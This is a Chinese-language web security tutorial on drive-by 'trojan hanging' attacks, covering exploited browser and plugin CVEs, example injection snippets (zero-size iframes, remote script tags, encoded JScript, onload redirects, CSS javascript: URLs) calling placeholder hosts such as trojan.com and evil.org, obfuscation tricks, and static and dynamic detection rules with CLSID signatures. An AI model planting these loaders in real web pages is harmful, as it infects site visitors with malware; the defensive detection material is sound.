1. 程式人生 > >Web安全-檢測-網頁掛馬

Web安全-檢測-網頁掛馬

網馬

網馬的本質是一個特定的網頁,這個網頁包含了攻擊者精心構造的惡意程式碼,這些惡意程式碼通過利用瀏覽器(包括控制元件、外掛)的漏洞,載入並執行攻擊者指定的惡意軟體(通常是木馬)。
網站掛馬是黑客植入木馬的一種主要手段。黑客通過入侵或者其他方式控制了網站的許可權,在網站的Web頁面中插入網馬,使用者在訪問被掛馬的網站時也會訪問黑客構造的網馬,網馬在被使用者瀏覽器訪問時就會利用瀏覽器或者相關外掛的漏洞,下載並執行惡意軟體。其本質是利用瀏覽器和瀏覽器控制元件、外掛的漏洞,通過觸發漏洞獲取到程式的執行許可權,執行黑客精心構造的shellcode。

常利用的漏洞

IE:
MS06-014:Microsoft 資料訪問元件 (MDAC)功能中的漏洞可能允許執行程式碼

MS06-055:向量標記語言可能允許遠端執行程式碼漏洞

MS07-017:ANI游標漏洞

MS09-032:MicrosoftDirectShow MPEG2TuneRequest元件棧溢位漏洞

MS10-018:Microsoft IE畸形物件操作記憶體破壞漏洞

MS11-002:Microsoft DataAccess元件漏洞

MS11-003:Microsoft InternetExplorer記憶體遠端程式碼執行漏洞

PDF:
CVE-2008-2992:Adobe Readerutil.printf() JavaScript函式棧溢位漏洞

CVE-2009-0927:Adobe Acrobat和ReaderCollab getIcon() JavaScript方式棧溢位漏洞

SWF:
CVE-2010-3653:Adobe ShockwavePlayer Director檔案rcsL塊解析記憶體破壞漏洞

CVE-2011-0609:Adobe Flash PlayerCVE-2011-0609 'SWF’檔案遠端記憶體破壞漏洞

JAVA:
CVE-2010-1423:Java開發工具包URL引數遠端程式碼執行漏洞

CVE-2010-4452:Oracle Java"Applet2ClassLoader"類未簽名Applet遠端程式碼執行漏洞

CVE-2010-4465:Oracle Java在處理剪貼簿中的資料寫入和讀取的控制上存在遠端程式碼執行漏洞

CVE-2012-4681:Oracle Java RuntimeEnvironment遠端程式碼執行漏洞

常見掛馬方式

黑客在獲取網站的許可權以後,就會將自己的網頁木馬通過指令碼引入的方式嵌入到網站的頁面中,也就是執行相應的掛馬操作。掛馬操作可以有多種方式實現,下面我們對一些常見的掛馬方式進行描述。

  1. 框架掛馬
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>

該段程式碼會在網頁中建立一個寬度和高度都為0的框架,並在框架中訪問http://www.trojan.com/頁面,因為高度和寬度都為0,所以在訪問網頁時,從網頁表面是無法通過肉眼看到這個框架的,只能通過網頁原始碼分析或抓包的方式檢視到相應的資料資訊。

  1. js檔案掛馬
<script src=http://www.trojan.com/1.js></script>

該段程式碼可以是被黑客惡意插入到網頁中的,其中1.js檔案中被嵌入惡意程式碼。同時黑客也可能惡意修改網站檔案中的JS檔案程式碼從而被掛上惡意程式碼,一般來講,那些被全站引用的JS程式碼最容易被黑客掛馬。

  1. js變形加密
<script language="JScript.Encode">#@~^OAAAAA==[Km;s+ [email protected]!'/w^MkwD~/Mm'8 %/@*[email protected]!-&[email protected]*B*iAxIAAA==^#[email protected]</script>

該段程式碼使用了微軟的MS Encode加密方式進行加密處理,解密後的結果是:

<script language="javascript">docume-t.write('\<\s\cript src=1.js>\<\/\s\cript>');</script>

其中1.js檔案可以是掛馬檔案,黑客通過加密程式碼的方式隱藏了該資訊。

  1. body掛馬
<body onload="window.location=' http://www.trojan.com/';"></body>

當用戶訪問掛有以上程式碼的網頁時,頁面就會自動跳轉去執行http://www.trojan.com/的頁面,從而導致掛在http://www.trojan.com/的木馬執行。同樣,黑客也會將網馬執行程式碼寫入到某一個函式中,然後通過body標籤的onload去執行相應的函式,進而實現網馬程式碼的執行。

  1. 隱藏掛馬
<script>top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src=" http://www.trojan.com/"></iframe>';</script>

黑客將以上Javascript程式碼放在一些比較隱蔽的位置,當頁面執行時,會通過DOM操作的方式建立框架訪問http://www.trojan.com/,從而實現惡意程式碼的執行。

  1. css中掛馬
body { 
background-image: url('javascript:document.write("<script src= http://www.trojan.com/1.js></script>")')
}

黑客可以利用以上CSS程式碼來實現掛馬,當網頁程式碼執行到body部分時,會根據CSS定義的背景圖片地址進行訪問,而訪問的內容是通過javascript偽協議的方式執行相應的惡意程式碼。

網頁掛馬執行條件判斷

從網頁掛馬攻擊概述中我們瞭解到,網頁木馬利用的是瀏覽器或者是第三方應用程式的漏洞,而且網頁木馬對存在漏洞的應用程式的版本有嚴格的要求,只有存在漏洞的版本才可以成功執行漏洞利用程式。隨著越來越多的使用者安裝了安全防護軟體,大多數的網馬都會在執行過程中被攔截,進而暴漏了黑客掛馬的地址和網馬程式碼。因此,黑客在攻擊瀏覽者客戶端環境前,會對客戶端環境進行判斷,判斷客戶端環境是否符合網頁木馬執行成功的條件,是否存在可能會攔截網馬的安全應用軟體,進而提高網馬執行的成功率且保護網馬程式碼不被安全廠商發現。針對網馬執行條件的判斷,主要包括以下一些常見的執行條件判斷。

  1. 判斷訪問來源
    當客戶端環境通過瀏覽器訪問頁面,由一個頁面跳轉到另一個頁面訪問時,HTTP資料報文中會記錄訪問當前頁面的來源頁面,實現的方式是通過HTTP資料中Referer部分進行記錄。黑客在網頁掛馬時,可以通過Javascript指令碼操作獲取Referer資訊,判斷執行網馬頁面的來源資訊,進而判斷是否執行相應的網馬程式碼。

  2. 判斷URL地址
    判斷URL地址的方式主要是在網馬程式碼中包含獲取當前頁面URL地址資訊字串,通過判斷字串中是否包含黑客預先定義的引數特徵或其他特徵字串的方式來選擇執行不同的惡意程式碼。

  3. 判斷作業系統、瀏覽器版本
    由於網馬利用比較苛刻,某一特定的網馬也是針對特定的作業系統環境、特定的瀏覽器版本或是第三方軟體的版本環境下才可成功執行。因此,黑客在選擇執行網馬程式碼前,會對客戶端的作業系統版本、瀏覽器版本進行判斷,判斷版本資訊是否符合漏洞執行的環境,如果符合則選擇執行網馬,否則會選擇放棄執行。實現作業系統版本、瀏覽器版本資訊的獲取是通過HTTP資料報文中的User-Agent部分獲取的,當客戶端環境瀏覽網頁發出HTTP資料請求時,會攜帶相應的User-Agent資訊一同傳送,該資訊中包含了客戶端的作業系統、瀏覽器版本等資訊。

  4. 判斷元件、控制元件是否存在
    元件、控制元件判斷的目的主要是判斷客戶端環境中是否安裝有存在漏洞的控制元件資訊,或通過判斷某些元件是否存在來判斷客戶端環境中是否安裝有特定的軟體等。黑客通過指令碼程式碼去載入客戶端的元件和控制元件,如果載入成功,則認為元件或者特定的軟體在客戶端環境中存在,否則認為不存在,進而選擇執行相應的網馬程式碼。

  5. 判斷資源是否存在
    判斷資源是否存在的方式主要是通過res協議去載入客戶端環境中PE檔案中包含的資源,進而判斷某些特定的檔案是否存在。

網馬的加解密

從上述的掛馬方式和執行條件判斷中我們瞭解到,黑客實施掛馬攻擊時,想盡可能地隱藏自己的掛馬資訊,在保證網馬執行高成功率的同時,儘量不被使用者或安全防護軟體發現,那麼在掛馬的位置、執行條件判斷之後,就是實現對網頁木馬程式碼的隱藏以及網馬下載的下載器或木馬檔案的隱藏,也就是我們接下來要進行描述說明的網馬程式碼的加密與解密。針對網馬的不同形式,我們將網馬分為指令碼網馬、PDF檔案網馬、Flash檔案網馬和Java檔案網馬形式。

  1. 指令碼網馬
    指令碼網馬就是通過VBScript或Javascript程式碼實現漏洞的利用,黑客為了隱藏網馬利用程式碼及下載的木馬地址,會將相應程式碼進行加密或者是特殊方式進行處理,使得普通使用者無法直接通過肉眼進行分辨。例如,黑客通過javascript的escape函式加密處理方式,將網馬利用程式碼加密處理,在網馬執行時,會通過document.write方法將使用函式unescape解密處理後的程式碼進行輸出執行。
    密文程式碼通過unescape解密後才是網馬利用程式碼的明文程式碼,然後通過document.write進行輸出和執行,而我們的目的是將程式碼只輸出不執行。
    因此我們可以根據這個思路進行簡單的處理轉換,將document.write方法替換成函式alert,alert函式的主要作用就是通過彈窗提示的方法顯示相應的字串內容,而不會執行網馬內容;也可以通過DOM操作將明文程式碼寫入到一個文字域中,這樣可以解決網馬明文程式碼過長而alert彈窗提示顯示不完全的情況。
    針對document.write、eval類具有程式碼執行功能的函式或方法,我們就可以使用上述簡單處理方式實現對明文程式碼的檢視。

  2. PDF檔案網馬
    PDF網馬是將惡意Javascript程式碼通過壓縮處理的方式以資料流的形式儲存在PDF檔案中,當客戶端瀏覽PDF檔案時,檔案中包含的Javascript惡意程式碼就可以執行,進而導致使用者受到惡意程式碼攻擊。如,通過記事本類工具開啟一個簡單的PDF網馬,在stream和endstream中包含肉眼無法識別的亂碼,而該亂碼正是通過zlib壓縮處理後的javascript程式碼。
    分析處理PDF網馬時,可以使用網上開源的PDF網馬分析工具PDF-parser.py。通過PDF-parser.py就可以很輕鬆地將PDF檔案中壓縮過的javascript程式碼進行解壓並顯示出來。有時候,解壓後的Javascript仍然是經過加密處理的程式碼,而且是使用eval函式進行執行的,那麼我們就可以結合先前介紹的指令碼加密的解密方式對其進行解密處理即可。

  3. Flash檔案網馬
    Flash網馬是最近幾年比較流行的網馬利用程式,隨著越來越多的黑客研究Adobe Flash Player程式的漏洞,越來越多的Flash漏洞利用程式被公佈,所以網路環境中利用Flash漏洞的網馬也越來越多。由於Flash檔案的特殊性,漏洞利用程式碼是通過ActionScript指令碼程式碼的形式封裝到SWF檔案中的,所以直接通過網頁尾本程式碼有時候是無法檢視到網馬利用程式碼的。
    針對這種情況,我們就需要將SWF檔案下載回本地,然後對SWF檔案中的ActionScript程式碼進行分析。分析工具使用Action Script Viewer,該工具可以直接檢視swf檔案中的ActionScript程式碼,方便我們對程式碼直接分析和檢視。

  4. Java檔案網馬
    JAVA網馬主要是利用JAVA漏洞通過Java Applet嵌入到網頁程式碼中實現利用,而且利用程式碼也是寫入到相應的jar檔案中,使用者從網頁原始碼中無法實現對JAVA漏洞利用程式碼直接檢視。
    分析方法類似,將apple.jar檔案下載回本地,然後通過JAVA程式反編譯工具對該檔案進行反編譯就可以直接檢視該檔案的實現程式碼,例如使用jd-gui工具。

檢測

網站掛馬的檢測主要分為兩類:

  1. 靜態檢測-針對網站頁面的原始碼進行分析;
  2. 動態檢測-是用虛擬機器訪問網站網頁,檢視是否感染木馬。

靜態檢測

靜態檢測主要是對網站頁面的原始碼進行檢測,首先通過分析頁面提取出多有引入的URL,然後再通過爬蟲爬取這些網頁的原始碼,通過JS程式碼和惡意的shellcode特徵進行匹配,判斷該網站是否被掛馬。

需要定期維護特徵庫。

對於PDF、FLASH和Java外掛漏洞的掛馬需要進行專門分析。

混淆

現在的網馬都不會簡單的iframe引入,一般會使用混淆的語句或者比較複雜的javascript動態生成網馬地址,試圖繞過檢測,比如:

document.write("<ifra"+“mesrc=http://afh.2288.org/55/208ay.htm width=100height=0></iframe>”);

主要的混淆方法有:

  1. 將程式碼去除縮排、換行、空行、註釋而重新排版,同時用隨機字串替換網頁木馬中的變數名,使網頁中的程式碼失去自我描述的能力從而干擾閱讀分析
  2. 利用大小寫變換、Unicode編碼、十六進位制編碼、escape編碼、base64編碼等方法對網頁木馬進行編碼混淆
  3. 通過通用或定製的加密工具對網頁木馬進行加密得到密文,然後使用指令碼語言中的解密函式對密文進行解密,再使用eval()或document.write()動態執行解密程式碼或輸出解密結果
  4. 利用字串運算、數學運算或特殊函式混淆程式碼。例如,利用字串替換函式將網頁木馬中的一些字元替換為其他字元構成混淆程式碼,執行時首先替換回原先的字元,然後動態執行
  5. 針對網頁木馬檔案的掩碼欺騙反病毒軟體,或對網頁木馬檔案結構進行混淆,偽裝成正常檔案,甚至將網頁木馬檔案拆分成多個檔案等。

shellcode定位

shellcode可能經過多次加密和變形,所以網馬檢測時也需要對shellcode進行多次解密。
檢測的方法主要是通過shellcode的特徵進行判斷,如shellcode最終會下載惡意軟體,所以會包含惡意軟體的URL地址,或者常見的利用方式如HeapSpray會插入大量的NOP指令,即會包含0x90關鍵字。

簡單事例:
某個網站的掛馬情況如下:

[root]hxxp://normal.website.com/xx.php (被掛馬的網站頁面)

[iframe] hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018網馬)

[iframe] hxxp://evil.org:987/wm/ms11013.htm (利用MS10-013網馬)

[trojan] hxxp://evil.org:987/a.exe (系統木馬)

[iframe]hxxp://evil.org:987/wm/ms10018.htm (利用MS10-018網馬)

[trojan] hxxp://evil.org:987/b.exe (系統木馬)

靜態分析會通過頁面分析提取出所有iframe、JavaScript、CSS以及各種變形的URL,如上,靜態檢測首先會提取出以下3個URL:

hxxp://normal.website.com/xx.php

hxxp://evil.org:987/wm/ms10018.htm

hxxp://evil.org:987/wm/ms11013.htm

然後會呼叫爬蟲爬取這些頁面的原始碼,開始分析頁面原始碼。

通過分析發現有2個頁面:

hxxp://evil.org:987/wm/ms10018.htm
hxxp://evil.org:987/wm/ms11013.htm

存在惡意程式碼特徵:

發現Shellcode載入木馬地址

hxxp://evil.org:987/a.exe
hxxp://evil.org:987/b.exe

和一些Shellcode的通過特徵字元,

判定為網馬。

關鍵函式

  1. document.writelen() / document.write():
    將字串轉換成HTML程式碼,函式外面必須帶有HTML標籤,指令碼才能夠執行,否則會將HTML程式碼當作字串輸出在網頁上

  2. unescape():
    針對十六進位制編碼的字元進行解碼,利用ASCII字元代替等價的字元

  3. evaluate():
    解釋混淆JS程式碼,並執行該程式碼

  4. fromCharCode():
    轉換字元unicode值的序列,返回含有惡意指令碼的字串

  5. split():
    將某些函式或關鍵程式碼拆分成字串,並用“+”號連線,以繞過安全軟體的掃描檢測

  6. setTimeOut():
    通過設定延遲值來執行特定函式

規則總結

  1. iframe掛馬:
    同一頁面標籤內同時出現"iframe", “width”, "height"三個關鍵詞,同時width或者height屬性值小於10

  2. body onload掛馬:
    同一頁面標籤內同時出現"body", “onload”, "window.location"三個關鍵詞

  3. window.open掛馬:
    定義原子匹配點:

    1. window.open
    2. toolbar=no
    3. location=no
    4. directiories=no
    5. status=no
    6. menubar=no
    7. scrollbars=no
    8. width<10
    9. height<10
      匹配規則為:① & {②&③&④&⑤&⑥&⑦} & {⑧|⑨}

動態檢測

動態檢測原理:

開啟網站後,判斷是否有惡意軟體下載並執行,如果有則認為網站被掛馬。

動態監測的核心技術是如何判斷網馬下載執行的程式是否為惡意軟體,這和很多防毒軟體的檢測原理相似,主要是針對惡意軟體的特徵,比如首先匹配下載軟體內容的MD5是否在黑名單內,然後通過監控程式行為(如檔案操作、程序變化、網路監聽)來判斷是否為木馬。

具體的技術實現一般是通過Hook一些特定的系統函式,檢視惡意軟體是否有呼叫這些敏感的系統函式,進行判斷,判斷完成後直接進行攔截,防止木馬的執行。

除去以上整理的各個漏洞的特徵,許多樣本均會對指令碼程式碼進行加密或編碼以逃避檢測,通常為針對漏洞構造的緩衝區溢位(shellcode)攻擊程式碼。這些經過混淆的字串通常包含大量無意義的字元,但總包含一個惡意程式碼要利用的URL,具體表現形式為:unicode編碼(%u),16進位制數(\x),用整形陣列表示字串對應的ASCII碼值等。程式碼中還會有大量的字串操作,如:replace(),String.fromCharCode(),substr(),substring(),split()等。其中最為常見的可作為特徵的是unicode編碼以及js中用於解碼的函式unescape()。
綜合以上資訊,可根據是否包含COM元件號這類原子特徵將規則劃分為兩大類。包含元件號且利用了字串混淆特徵的程式碼即可判定為惡意程式碼,如果元件號為收集到的漏洞元件號,即可確定掛馬型別。如果僅包含字串混淆特徵,則需要結合整理出的字元特徵作為規則。整理所得的規則如下:

  • Ms09-032 (CVE-2008-0015):程式碼中包含“object", clsid=0955AC62-BF2E-4CBA-A2B9-A63F772D46CF, "unescape(”,“%u”。
  • 暴風影音MPS.DLL ActiveX : 程式碼中包含"object", clsid=6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB, “unescape(”, “%u”。
  • 聯眾世界GLIEDown2.dll Active:程式碼中包含"object", clsid=F917534D-535B-416B-8E8F-0C04756C31A8, “unescape(”, “%u”。
  • Ms06-14 (CVE-2006-0003):程式碼中包含"object", clsid=BD96C556-65A3-11D0-983A-00C04FC29E36, “unescape(”, “%u”。
  • JS:ShellCode:程式碼中包含"object", “clsid”, “-’”, “unescape(”, “%u”。
  • Iepeers漏洞 (CVE-2010-0806):程式碼中包含"unescape(", $u", “document.write(”, “addBehavior(”, “document.appendChild(”。
  • Aurora漏洞 (CVE-2010-0249):程式碼中包含"unescape(", “%u”, “srcElement”, “window.setInterval(”。
  • Ms09-043 (CVE-2009-1136):程式碼中包含"unescape(", “%u”, “push(window)”, “CollectGarbage()”。
  • Ms09-002 (CVE-2009-0075):程式碼中包含"cloneNode()", “clearArttribute()”, “CollectGarbage()”。

機器學習檢測

基於統計學習的掛馬網頁實時檢測 王濤 餘順爭(決策樹)

防範

網頁掛馬是近幾年來黑客的主流攻擊方式之一,在2008年到2010年間,網頁掛馬攻擊更是成為了黑客最主要的攻擊手段。根據瑞星雲安全監測資料顯示,2008年到2010年間,客戶端受到惡意網馬的年攻擊次數達到千萬級別。雖然近兩年來,網路釣魚攻擊已經在數量上超越了網頁掛馬攻擊,但是網頁掛馬攻擊所帶來的危害依然巨大,不僅對網站的安全執行造成威脅,對客戶端使用者來說,網馬攻擊將直接造成遊戲賬號密碼/銀行賬號密碼被竊取、敏感資訊洩露等嚴重影響。因此,防範網頁木馬免受惡意程式碼攻擊也是網民使用者需要掌握的安全防護方法之一。針對網頁掛馬攻擊的防範,可以從以下幾方面做起。

  1. 使用較安全的作業系統版本及瀏覽器。

  2. 安裝安全防護軟體

  3. 使用者可以通過瀏覽器安全引數設定及可信站點設定等資訊防範網頁木馬攻擊行為,如禁用瀏覽器ActiveX控制元件和外掛可以在一定程度上減少被攻擊的概率,改設定選項可以通過瀏覽器Internet選項中進行詳細設定。

參考資料

淺談網際網路掛馬與檢測
https://aq.163.com/module/pedia/article-00058.html

網頁掛馬攻擊手段全解析
http://www.rising.com.cn/newsletter/news/2012-09-26/12404.html

Python網頁注入掛馬
https://cloud.tencent.com/developer/article/1097915

專利:一種網頁掛馬檢測方法及系統
https://patents.google.com/patent/WO2013026320A1

專利:基於HTTP流量分析的掛馬網站檢測方法
https://patents.google.com/patent/CN102158499A/zh

一種基於混淆機制的網頁木馬檢測模型的研究與實現
http://netinfo-security.org/CN/abstract/abstract5958.shtml

基於內嵌連結分析的網頁掛馬檢測技術 徐欣如 龔儉 楊望

基於統計學習的掛馬網頁實時檢測 王濤 餘順爭

網頁木馬機理與防禦技術 張慧琳 鄒維 韓心慧